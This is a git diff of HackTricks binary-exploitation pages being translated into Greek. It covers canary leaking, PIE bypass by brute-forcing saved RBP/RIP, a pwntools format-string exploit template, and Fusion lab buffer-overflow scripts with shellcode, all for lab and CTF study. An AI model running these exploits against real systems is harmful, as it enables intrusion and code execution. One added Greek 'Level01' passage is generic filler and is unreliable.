Φανταστείτε μια κατάσταση όπου ένα πρόγραμμα ευάλωτο σε stack overflow μπορεί να εκτελέσει μια συνάρτηση **puts** που δείχνει σε μέρος του stack overflow. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα μηδενικό byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Έπειτα, ο επιτιθέμενος μπορεί να δημιουργήσει ένα overflow που **αντικαθιστά το stack μέχρι το πρώτο byte του canary**.\
|
||||
Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργικότητα puts** στη μέση του payload, η οποία θα **εκτυπώσει όλο το canary** (εκτός από το πρώτο μηδενικό byte).\
|
||||
Με αυτές τις πληροφορίες, ο επιτιθέμενος μπορεί να **δημιουργήσει και να στείλει μια νέα επίθεση** γνωρίζοντας το canary (στην ίδια συνεδρία του προγράμματος)
|
||||
|
||||
Another way to bypass the canary is to **print it**.\
|
||||
Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**.\
|
||||
Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte).\
|
||||
With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session)
|
||||
|
||||
Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**.\
|
||||
CTF example: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
Φυσικά, αυτή η τακτική είναι πολύ **περιορισμένη**, καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** για να **αποκτήσει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία του προγράμματος**) και να **στείλει** το **πραγματικό buffer overflow**.\
|
||||
Παράδειγμα CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
|
||||
# PIE
|
||||
|
||||
In order to bypass the PIE you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
|
||||
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
|
||||
|
||||
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
|
||||
Για να παρακάμψετε το PIE, πρέπει να **διαρρεύσετε μια διεύθυνση**. Και αν το δυαδικό δεν διαρρέει καμία διεύθυνση, το καλύτερο είναι να **δοκιμάσετε όλες τις πιθανές τιμές για το RBP και το RIP που αποθηκεύονται στο stack** στην ευάλωτη συνάρτηση.\
|
||||
Για παράδειγμα, αν ένα δυαδικό προστατεύεται χρησιμοποιώντας τόσο το **canary** όσο και το **PIE**, μπορείτε να ξεκινήσετε τη δοκιμή όλων των πιθανών τιμών για το canary, και στη συνέχεια τα **επόμενα** 8 bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 bytes θα είναι το αποθηκευμένο **RIP**.
|
||||
|
||||
Για να δοκιμάσετε όλες τις πιθανές τιμές για το RBP και το RIP από το δυαδικό, μπορείτε να καταλάβετε ότι ένα σωστά μαντεμένο byte είναι σωστό αν το πρόγραμμα εμφανίζει κάτι ή αν δεν καταρρέει. Η **ίδια συνάρτηση** που παρέχεται για τη δοκιμή του canary μπορεί να χρησιμοποιηθεί για τη δοκιμή του RBP και του RIP:
|
||||
```python
|
||||
print("Brute-Forcing RBP")
|
||||
base_canary_rbp = get_bf(base_canary)
|
||||
|
@ -144,41 +137,33 @@ print("Brute-Forcing RIP")
|
|||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
## Λήψη βασικής διεύθυνσης
|
||||
|
||||
## Get base address
|
||||
|
||||
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
|
||||
|
||||
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
|
||||
Το τελευταίο πράγμα που χρειάζεστε για να ξεπεράσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διαρρεύσεις** διευθύνσεων: το **RBP** και το **RIP**.
|
||||
|
||||
Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στο stack**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε το string _"/bin/sh\x00"_ μέσα στο stack. Για να υπολογίσετε την απόσταση μεταξύ του διαρρευμένου RBP και του shellcode σας, απλά τοποθετήστε ένα **σημείο διακοπής μετά τη διαρροή του RBP** και ελέγξτε **πού βρίσκεται ο κώδικας του shell σας**, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
|
||||
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
|
||||
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
|
||||
Από το **RIP** μπορείτε να υπολογίσετε τη **βασική διεύθυνση του PIE δυαδικού** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη αλυσίδα ROP**.\
|
||||
Για να υπολογίσετε τη βασική διεύθυνση, απλώς εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:
|
||||
|
||||
![](<../../.gitbook/assets/image (145).png>)
|
||||
|
||||
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked _0x562002970**ecf** _ the base address is _0x562002970**000**_
|
||||
|
||||
Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζεται μόνο **1 byte και μισό** για να εντοπιστεί όλος ο κώδικας, στη συνέχεια, η βασική διεύθυνση σε αυτήν την κατάσταση θα είναι το **διαρρευμένο RIP αλλά τελειώνοντας στο "000"**. Για παράδειγμα, αν διέρρευσε _0x562002970**ecf**_, η βασική διεύθυνση θα είναι _0x562002970**000**_.
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,20 +1,16 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
@ -49,23 +45,23 @@ print(" ====================== ")
|
|||
|
||||
|
||||
def connect_binary():
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
global P, ELF_LOADED, ROP_LOADED
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1338) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(elf)# Find ROP gadgets
|
||||
|
||||
|
||||
#######################################
|
||||
|
@ -73,39 +69,39 @@ def connect_binary():
|
|||
#######################################
|
||||
|
||||
def send_payload(payload):
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
|
||||
log.info("payload = %s" % repr(payload))
|
||||
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
|
||||
P.sendline(payload)
|
||||
sleep(0.5)
|
||||
return P.recv()
|
||||
|
||||
|
||||
def get_formatstring_config():
|
||||
global P
|
||||
global P
|
||||
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
for offset in range(1,1000):
|
||||
connect_binary()
|
||||
P.clean()
|
||||
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
if b"41" in recieved:
|
||||
for padlen in range(0,4):
|
||||
if b"41414141" in recieved:
|
||||
connect_binary()
|
||||
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
|
||||
recieved = send_payload(payload).strip()
|
||||
print(recieved)
|
||||
if b"42424242" in recieved:
|
||||
log.info(f"Found offset ({offset}) and padlen ({padlen})")
|
||||
return offset, padlen
|
||||
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
else:
|
||||
connect_binary()
|
||||
payload = b" " + payload
|
||||
recieved = send_payload(payload).strip()
|
||||
|
||||
|
||||
# In order to exploit a format string you need to find a position where part of your payload
|
||||
|
@ -138,10 +134,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
|
|||
|
||||
connect_binary()
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
|
||||
sleep(5)
|
||||
|
||||
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
|
||||
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
|
||||
|
@ -153,21 +149,16 @@ format_string.execute_writes()
|
|||
|
||||
P.interactive()
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,9 +17,8 @@ Other ways to support HackTricks:
|
|||
|
||||
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
|
||||
|
||||
1. Get offset to modify EIP
|
||||
2. Put shellcode address in EIP
|
||||
|
||||
1. Πάρτε τη μετατόπιση για να τροποποιήσετε το EIP
|
||||
2. Τοποθετήστε τη διεύθυνση του shellcode στο EIP
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -47,9 +44,21 @@ r.recvline()
|
|||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
# Επίπεδο01
|
||||
|
||||
# Level01
|
||||
## Εισαγωγή
|
||||
|
||||
Στο επίπεδο01, θα εξετάσουμε μια βασική εκδοχή της επίθεσης εκμετάλλευσης σε συστήματα Linux. Αυτή η επίθεση εκμεταλλεύεται μια ευπάθεια στο πρόγραμμα Fusion, το οποίο εκτελείται σε έναν εικονικό χώρο εργασίας.
|
||||
|
||||
## Εκμετάλλευση
|
||||
|
||||
Για να εκμεταλλευτούμε αυτήν την ευπάθεια, θα χρησιμοποιήσουμε μια τεχνική γνωστή ως "buffer overflow". Αυτή η τεχνική εκμεταλλεύεται την αδυναμία ενός προγράμματος να ελέγξει την ποσότητα δεδομένων που εισάγονται σε έναν προσωρινό χώρο αποθήκευσης (buffer), προκαλώντας έτσι την υπερχείλιση του buffer και την εκτέλεση κακόβουλου κώδικα.
|
||||
|
||||
Για να εκτελέσουμε αυτήν την επίθεση, θα χρειαστούμε έναν κακόβουλο κώδικα που θα εισαχθεί στον προσωρινό χώρο αποθήκευσης του προγράμματος Fusion. Αυτός ο κακόβουλος κώδικας θα εκτελεστεί από το πρόγραμμα, παρακάμπτοντας τις ασφαλείς μηχανισμούς ελέγχου.
|
||||
|
||||
## Αποτέλεσμα
|
||||
|
||||
Με την επιτυχή εκτέλεση της επίθεσης, θα έχουμε πλήρη έλεγχο του συστήματος Linux και θα μπορούμε να εκτελέσουμε κακόβουλες ενέργειες, όπως την προσθήκη, την τροποποίηση ή τη διαγραφή αρχείων, καθώς και την απόκτηση πρόσβασης σε ευαίσθητες πληροφορίες.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -75,21 +84,16 @@ buf += "\x65\xd9\x0f\x01"
|
|||
r.send(buf)
|
||||
r.interactive()
|
||||
```
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,78 +1,129 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
